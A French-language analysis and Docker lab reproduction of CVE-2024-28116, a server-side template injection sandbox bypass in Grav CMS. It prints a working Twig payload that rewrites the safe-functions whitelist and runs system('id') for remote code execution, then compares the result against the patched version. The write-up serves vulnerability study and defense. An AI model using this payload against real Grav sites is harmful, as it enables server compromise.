
Analyse et reproduction Docker de CVE-2024-28116 - SSTI avec contournement de sandbox dans Grav CMS
Analyse et reproduction Docker de CVE-2024-28116, une vulnérabilité d'injection de modèles côté serveur (Server-Side Template Injection) avec contournement du sandbox de sécurité dans Grav CMS dans les versions jusqu'à 1.7.44 incluse, corrigée dans la version 1.7.45.
Signalée par : Maurizio Siddu (akabe1)
Score CVSS v3.1 : 8.8 (Élevé)
Corrigée dans : Grav CMS 1.7.45
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable
Ouvrez votre navigateur sur http://localhost:8080/admin et créez un compte administrateur lors du premier accès.
http://localhost:8080/admintest page, puis cliquez sur Continue{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
http://localhost:8080/test-pageCela confirme l'exécution de code à distance en tant qu'utilisateur du serveur web.
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched
Ouvrez votre navigateur sur http://localhost:8081/admin et répétez toutes les étapes d'exploitation ci-dessus, en ciblant http://localhost:8081/test-page.
La page sera complètement vide. La méthode cleanDangerousTwig() dans Security.php détecte et bloque la directive twig.safe_functions avant qu'elle n'atteigne le moteur Twig. La liste blanche n'est jamais modifiée et la commande n'est jamais exécutée.
La vulnérabilité se situe dans system/src/Grav/Common/Twig.php. Grav implémente un sandbox pour empêcher l'appel de fonctions PHP dangereuses dans les modèles Twig, sur la base d'une liste noire contrôlée par isDangerousFunction(). Cependant, le sandbox ne protège pas l'objet Twig lui-même. Un utilisateur de niveau éditeur peut interagir avec l'objet Twig via des directives de modèle spécialement conçues et écraser la liste blanche system.twig.safe_functions à l'exécution. Une fois qu'une fonction dangereuse telle que system() est ajoutée à la liste blanche, le contrôle du sandbox est contourné et la fonction s'exécute librement.
Le correctif ajoute 'twig.safe_functions' à la liste des motifs bloqués dans la méthode cleanDangerousTwig() de system/src/Grav/Common/Security.php. Toute directive contenant cette chaîne est neutralisée avant d'atteindre le moteur Twig, ce qui rend impossible pour un éditeur de modifier la liste blanche depuis un modèle.